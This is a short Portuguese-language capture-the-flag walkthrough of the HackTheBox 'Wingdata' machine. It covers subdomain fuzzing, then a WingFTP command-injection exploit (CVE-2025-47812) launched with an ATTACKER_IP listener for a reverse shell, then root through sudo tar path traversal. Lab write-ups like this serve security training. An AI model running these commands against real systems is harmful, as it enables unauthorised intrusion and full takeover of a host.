
HackTheBox Wingdata walkthrough cobrindo a injeção de comandos WingFTP CVE-2025-47812 para acesso inicial e escalonamento de privilégios sudo por path traversal no tar até root.
Plataforma: HackTheBox | SO: Linux
A enumeração de VHost encontra um servidor WingFTP. A injeção de comando CVE-2025-47812 concede acesso inicial. Root através de um script Python de restauração com sudo que extrai um arquivo tar manipulado — o path traversal do tar escreve um arquivo arbitrário como root.
nmap -sC -sV wingdata.htb -Pn
22/tcp open ssh OpenSSH
80/tcp open http wingdata.htb main site
Adicionado wingdata.htb a /etc/hosts. A porta 80 referenciava um domínio indicando virtual hosting.
ffuf -u http://wingdata.htb -H 'Host: FUZZ.wingdata.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac
Encontrado: ftp.wingdata.htb — interface web do WingFTP Server.
CVE-2025-47812 é uma vulnerabilidade de injeção de comando na interface web do WingFTP Server. Um parâmetro não sanitizado entrega uma reverse shell.
nc -lvnp 4444
python3 exploit_CVE-2025-47812.py --target http://ftp.wingdata.htb --lhost <ATTACKER_IP> --lport 4444
Shell obtida. Flag de usuário recuperada.
sudo -l
# (root) NOPASSWD: /usr/bin/python3 /opt/restore.py
/opt/restore.py aceita um arquivo tar e o extrai como root. O tar não sanitiza caminhos — um arquivo manipulado com ../ no nome do arquivo escreve arquivos fora do diretório de extração.
python3 craft_tar.py
sudo /usr/bin/python3 /opt/restore.py -b backup_888.tar
Shell root obtida. Flag de root em /root/root.txt.
Apenas para fins educacionais. Teste apenas sistemas que você possui ou tem permissão explícita para testar.